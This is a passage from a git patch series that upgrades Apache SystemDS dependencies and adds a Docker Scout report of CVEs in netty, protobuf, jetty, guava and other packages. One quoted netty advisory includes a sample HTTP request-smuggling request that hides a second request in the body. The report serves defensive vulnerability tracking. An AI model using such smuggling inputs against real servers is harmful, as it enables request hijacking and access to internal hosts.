+
+ diff --git a/pom.xml b/pom.xml index afa3d4f4899..0a262d261d9 100644 --- a/pom.xml +++ b/pom.xml @@ -306,6 +306,18 @@ guava 33.5.0-jre + + + org.apache.commons + commons-lang3 + 3.18.0 + + + + org.apache.spark + spark-network-common_2.12 + 3.5.2 + From 9a0447d7bec89904f0f17e207e80f34ea1751b9f Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 23 Jan 2026 11:34:15 +0100 Subject: [PATCH 15/31] [MINOR][SYSTEMDS-3878] Fix additional medium-severity CVEs in transitive dependencies This patch extends the security fixes for multiple high-severity CVEs by adding version overrides in dependencyManagement for additional vulnerable transitive dependencies. New version properties and dependencyManagement entries added for: - org.apache.hadoop/hadoop-common@3.4.2: CVE-2024-23454: Improper Privilege Management Version 3.4.0 is enough for CVE-2024-23454, but generates two other CVEs which don't happen with upgraded version 3.4.2 --- .../medium-cves/sysds_output15-1.md | 994 ++++++++++++++++++ pom.xml | 4 +- 2 files changed, 997 insertions(+), 1 deletion(-) create mode 100644 docker/scout_results/medium-cves/sysds_output15-1.md diff --git a/docker/scout_results/medium-cves/sysds_output15-1.md b/docker/scout_results/medium-cves/sysds_output15-1.md new file mode 100644 index 00000000000..18ba3b7a215 --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output15-1.md @@ -0,0 +1,994 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ✓ Image stored for indexing + ✓ Indexed 346 packages + ✓ Provenance obtained from attestation + ✗ Detected 11 vulnerable packages with a total of 30 vulnerabilities + ✓ Report written to docker/scout_results/medium-cves/sysds_output15-1.md +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:98fd77b0c3749d5d26fff317eaf6c1aa18e9fc98aa504b3178fd8a7215bbfd99
vulnerabilitiescritical: 1 high: 9 medium: 16 low: 3 unspecified: 1
platformlinux/amd64
size378 MB
packages346
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator 